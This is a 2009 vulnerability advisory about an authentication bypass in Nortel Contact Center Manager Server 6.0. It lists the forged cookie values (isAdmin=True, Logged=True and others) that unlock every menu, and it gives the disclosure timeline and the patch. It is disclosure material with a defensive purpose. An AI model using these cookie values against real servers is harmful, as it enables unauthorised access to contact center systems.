SEC Consult SA-20090525-0 :: Nortel Contact Center Manager Server Authentication Bypass Vulnerability

[Bernhard Mueller <research@xxxxxxxxxxxxxxx>]

SEC Consult Security Advisory < 20090525-0 >
==========================================================================
              title: Nortel Contact Center Manager Server Authentication
                     Bypass
            program: Nortel Contact Center Manager Server
 vulnerable version: 6.0
           homepage: http://www.nortel.com/ccms
              found: 2008-11-14
                 by: Bernhard Mueller / SEC Consult Vulnerability Lab
     permanent link: https://www.sec-consult.com/advisories_e.html#a58
==========================================================================

Vendor description:
-------------------

Contact Center Manager Server (CCMS) offers a scalable solution for
dynamic contact center environments requiring sophistication and
differentiation in the care offered to their customers. CCMS provides
skill-based routing; call treatment flexibility, real time displays,
multimedia routing, and comprehensive management and reporting
functionality - empowering contact center managers with the tools and
agility to deliver unique and unprecedented care to their customers. The
rich scripting language supports multifaceted call routing and treatment
decisions based on combinations of real time conditions. 

[source: http://www.nortel.com/ccms]


Vulnerability overview:
-----------------------

The Nortel Contact Center Manager Server web application relies on
client side cookies to check the roles of authenticated users.
Authentication can be bypassed by manually setting the required cookies.
By exploiting this vulnerability, an attacker can bypass authentication
and access the Nortel Contact Center Manager Server.


Vulnerability description:
--------------------------

The following cookies have to be set to access all menu items:

LoginMsgSwitch=True
LoginMsgAccepted=True
Logged=True
isAdmin=True
LoginMsgSwitch=True
LoginMsgAccepted=True
IsConfig=1
IsUser=1
IsRTD=1
IsReport=1
IsScript=1
IsAudit=1
IsEmHelp=1
isOutbound=1
UserID=x
AuditSwitch=on
LoginMsgAccepted=True


Proof of concept:
-----------------

This vulnerability can be exploited with a web browser and plugins / web
proxy.


Vulnerable versions:
--------------------

The version tested was 06.00.004.03 with the following updates applied:

CCMA_6.0_SU_05
CCMA_6.0_SUS_0501
CCMA_6.0_SUS_0502

Prior versions are most likely also vulnerable.


Vendor contact timeline:
------------------------

January 2009: Vendor informed about vulnerability
2009-05-14: Patch available
2009-05-25: Public Release


Patch:
------

The vendor has released a vulnerability fix which addresses the issue.
In addition, the vendor has released a public security advisory
containing update instructions. URL:

http://support.nortel.com/go/main.jsp?cscat=BLTNDETAIL&id=905698


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EOF Bernhard Mueller / @2008